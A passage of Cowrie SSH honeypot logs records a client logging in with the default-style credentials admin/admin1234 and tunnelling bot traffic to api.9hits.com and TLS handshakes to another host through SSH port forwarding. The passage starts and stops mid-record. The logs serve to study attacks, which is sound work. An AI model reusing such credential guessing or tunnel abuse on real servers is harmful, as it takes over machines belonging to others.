9vikJHk5gPzHznz0O845r%2FdQTkcOyd7ljw%2FA1fFQU3WxWOZpIzF9kk1p8wfoUywcS3feb6vD0sNrFsW3KgS6%2FRLUC3YIS%2BKP1H%2FK74S%2FO5xZ8HlhDED038t6PHElHfmZEayTD%2Fkn%2FWJOaW9AWUtR7hS4I6F0WxbZ2xsFFp0gAWAZopr5u0nedSj%2BWSww6txVPu1CjqKQQLzxBdS3Vsn09sgMYanFk%2Bo4TkjfGTbj0Q%2BgrTytdOI7iMTvG9Fe%2FTwMlfXFlzLtqCJJbUgK7ry%2BBg9oRFMsAuzHAjevNVbxuWakqiZ2YXDKHVzaS7lhvLIrY09rHZkGP4tj9Kz5s88lljLXITl3%2BL6%2BsmstcwcQJ7xfjov4ZROmIWEI7HNCfUGA%2FYvFGJABiPr%2FVFf1guucVzNk0lhGJALYBetP6xRPvm8IK2lrq9X2YDoQIVKUjZBFcMPpt7QSY0lEU1QGdQJK6HCdvCmoYKM0%2Fspn01Cc8Shu4BIIKG%2FHpphSSsfz9SzpcChpwFIn8kmtz1lM%2BaPof%2F5%2FoiBhj%2FPe%2FCqJqS2p'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/9.1.2 Safari/604.5.6\\r\\nConnection: keep-alive\\r\\nContent-Length: 1218\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZE9zdVUmPnt7ans%2BMyV9eQ%3D%3D2b%2FFOtQT8ui9xC4L9aL2Yhr3vzYJIZTOCF5QPuOOF8KyvND6a8IC6vgwt%2F7Upb9Jj71InG6jp1XL%2Fjt%2BjxsoMLsdp4J7sfYu%2Fp6uQyB47H%2FxksBni2P13KQ%2BN7fIoV971j3NcShX%2F%2BmDSqRjrwc9vWa3X8IRoZV%2FhZARPUvj5cbCACzKLvW3jsyF%2B2ZD56qATUIpMfDSFPKj9%2B4s2tHROZVKkyqZKG6fI%2Fl7kUZFmNVoKWtCWMUI15yrdETg9%2FrSBOtl6%2FJCZjft1Qt6wJSZCRv1vZ5B0AQPAQ%2BiNFKUlsuDrmF%2Fq%2BP2A9nnd4EvfiWU7DShoUAGXnMCUF5CGYigdJVbcLhwhOcybL1EUyHRXdqS1%2BeV9JCIVIGFYnB2AfXZBRyOnxOZw45rHPk2ZjyNg1YZsTZ5%2FH0fwtkC%2B1D3oU9F0q0m03uooQoOr42NQky1WzaNfb1NdSszz%2FNeVOGz6qIBpoR1MlYIhIUkb3Lip8pzz1dx%2FGxhf90FdJkaAOiTWjcVQDu%2Bbskfd4%2FdgKSokU2n9vikJHk5gPzHznz0O845r%2FdQTkcOyd7ljw%2FA1fFQU3WxWOZpIzF9kk1p8wfoUywcS3feb6vD0sNrFsW3KgS6%2FRLUC3YIS%2BKP1H%2FK74S%2FO5xZ8HlhDED038t6PHElHfmZEayTD%2Fkn%2FWJOaW9AWUtR7hS4I6F0WxbZ2xsFFp0gAWAZopr5u0nedSj%2BWSww6txVPu1CjqKQQLzxBdS3Vsn09sgMYanFk%2Bo4TkjfGTbj0Q%2BgrTytdOI7iMTvG9Fe%2FTwMlfXFlzLtqCJJbUgK7ry%2BBg9oRFMsAuzHAjevNVbxuWakqiZ2YXDKHVzaS7lhvLIrY09rHZkGP4tj9Kz5s88lljLXITl3%2BL6%2BsmstcwcQJ7xfjov4ZROmIWEI7HNCfUGA%2FYvFGJABiPr%2FVFf1guucVzNk0lhGJALYBetP6xRPvm8IK2lrq9X2YDoQIVKUjZBFcMPpt7QSY0lEU1QGdQJK6HCdvCmoYKM0%2Fspn01Cc8Shu4BIIKG%2FHpphSSsfz9SzpcChpwFIn8kmtz1lM%2BaPof%2F5%2FoiBhj%2FPe%2FCqJqS2p'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:35.680197Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:35.920240Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\xbb\\x90\\x1f\\x7f2\\xf7\\xf0\\x14\\xef\\xdb\\xed\\xaa\\x16\\xd1%84\\x1fz\\xed\\n\\xbb\\xcfj8\\xbb\\xf58z\\xe7\\x11 \\\\\\x12\\x8a\\x97\\x94Z\\x06\\xdd\\xd4\\x9c\\xe2u\\xabk\\xb5\\x1c\\xdd\\xdb^\\xd8\\x02\\xb9Kj$\\x7f\\x92E\\x1d\\xef#\\xc7\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4\\xc2y~\\xed\\x05v\\xf3\\x86\\xa3\\xaaox\\xd3?4\\\\\\xfc\\nL\\x95\\x87]\\x83%g$\\x14\\xc8\\xc1\\x9cD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\xbb\\x90\\x1f\\x7f2\\xf7\\xf0\\x14\\xef\\xdb\\xed\\xaa\\x16\\xd1%84\\x1fz\\xed\\n\\xbb\\xcfj8\\xbb\\xf58z\\xe7\\x11 \\\\\\x12\\x8a\\x97\\x94Z\\x06\\xdd\\xd4\\x9c\\xe2u\\xabk\\xb5\\x1c\\xdd\\xdb^\\xd8\\x02\\xb9Kj$\\x7f\\x92E\\x1d\\xef#\\xc7\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4\\xc2y~\\xed\\x05v\\xf3\\x86\\xa3\\xaaox\\xd3?4\\\\\\xfc\\nL\\x95\\x87]\\x83%g$\\x14\\xc8\\xc1\\x9cD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:35.924567Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:36.417874Z","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:36.668195Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb7\\'\\xc7\\xed\\x8cK\\x96X\\xd7\\x87\\x99q1\\xe1$Bx\\x8d ~_2\\'@\\xcf71\\x8b\\x95\\xa3d\\xb9 \\x1d\\xeeTd)\\xb1A\\xac\\x06\\xfa\\xb2\\x0cv\\x8b6\\x17b\\xe3\\x99\\xb6\\x00,\\xa0\\x8d5\\x985w\\xb7\\xddoX\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f\\x9fa)zW\\x9a\\x9c~A\\xfd\\xdc\\xb3:)\\xa8\\x8c5\\xba\\xe4\\xbe \\xa8\\xfc\\x90 \\xc8\\xbd\\xa0u`\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb7\\'\\xc7\\xed\\x8cK\\x96X\\xd7\\x87\\x99q1\\xe1$Bx\\x8d ~_2\\'@\\xcf71\\x8b\\x95\\xa3d\\xb9 \\x1d\\xeeTd)\\xb1A\\xac\\x06\\xfa\\xb2\\x0cv\\x8b6\\x17b\\xe3\\x99\\xb6\\x00,\\xa0\\x8d5\\x985w\\xb7\\xddoX\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f\\x9fa)zW\\x9a\\x9c~A\\xfd\\xdc\\xb3:)\\xa8\\x8c5\\xba\\xe4\\xbe \\xa8\\xfc\\x90 \\xc8\\xbd\\xa0u`\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:36.671215Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:37.006534Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":57803,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8143fd68a05","protocol":"ssh","message":"New connection: 123.27.168.40:57803 (10.17.0.5:22) [session: e8143fd68a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:46.890414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:46.895252Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:47.137391Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:48.187198Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:48.551815Z","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:48.676813Z","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:49.069647Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=L1E5Rk1tPjJKS3FRRjA%2BRA%3D%3DtiWQwKBxsEqZc50scKEY3OYvA%2BKyD%2B8pEWWDW7g0NOG8pBQhbvm%2FpbK9F93gvM8BbdezZzfC%2FYjtczdQz7T%2FgqD%2FgGRH1DlNpwnOuA3T3u6xPuC1FVIs6dCRVssETJGskhmPpYvPwpStLNODrc3zhNIkMDiUnyHMLMmZovnE64YGrityhdtd%2F7cqwYe9hgqjIxjuoVfaM86Kt8jirbej7XbOadrODEc85g6T6aBNPAz4M0M%2FsZ%2FezBZCqcHZu6%2By6cWbhJCa5yQo7wja6c22HczPuLbANZy1Nbxz5hignd0tG%2B9pmJAe9NCU6882TFj4fT1femgF6EMlQ4nxUOdwuWtrKmlG%2BNuODQmVyzWiq4Yyx0SvD9dR3AowhFDLGfA1iAn8mzHdAw5LLc04D6GWKw49NHMK5UKGafezymrenGUSP3itY7GRb0JOjX69CgM21LIDFMCWttQwpauuV0m%2FpGpDAVPs8%2FFiPW8qYgCyzsxgHbVhP9jZM3iEV4QqAIdPrc3VcswkTLVMkDgKqWYt4%2BYoFVQmsnqB%2BgKAGSqj7ZrH8mPv1JoZC5f0B8F5Mwm3bZV6DLjQmKUQeHil9%2FMmeW1d68aZGojJtXv6KJ%2B42nCfC2cfT2vN2DPkS7qzZIhuszjpddJbOIFt8cmPhiKpjg7Hkmk5Wi94%2F2mdKCE4ZUQjw2ksawLgNGAXPpPgvx5bIaeT4gySwr7H8DnU3VTxsQfc3TfTXP0jRDAMlok38v5wU%2FCCn%2BPli4j%2FtsWWaPBspaKKKaOEjgzn2dYChyiHM0Xv9yrdEUdCcLAj2Jau%2F7J8Ely2IUtFYvLNHyri4dBR8dkRfgVfk5%2Bq%2Bqp4c7%2FEqaCps5lLjwRPA7Y3kiAuXVRI%2BX1JCN%2FP1VfHu4wM2RdG%2BAgstsxmGSRsEZ6560Adhw7KwmvuDSLNGSLDBmy5KOiWHI7mmSYADCBVGuy8sV%2BZr0KtjbZUW05bR%2Fm4V5ozmCN0nArCLclpEQoNx1mAolf%2BjDszWr96AgvZgQ762nPsSwMbt6Ex%2BL4itGqyHWv8TUWGL3fYL2MyxwlEnjuSuR0tCStcgSZz9gn3nz%2Fii65o'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 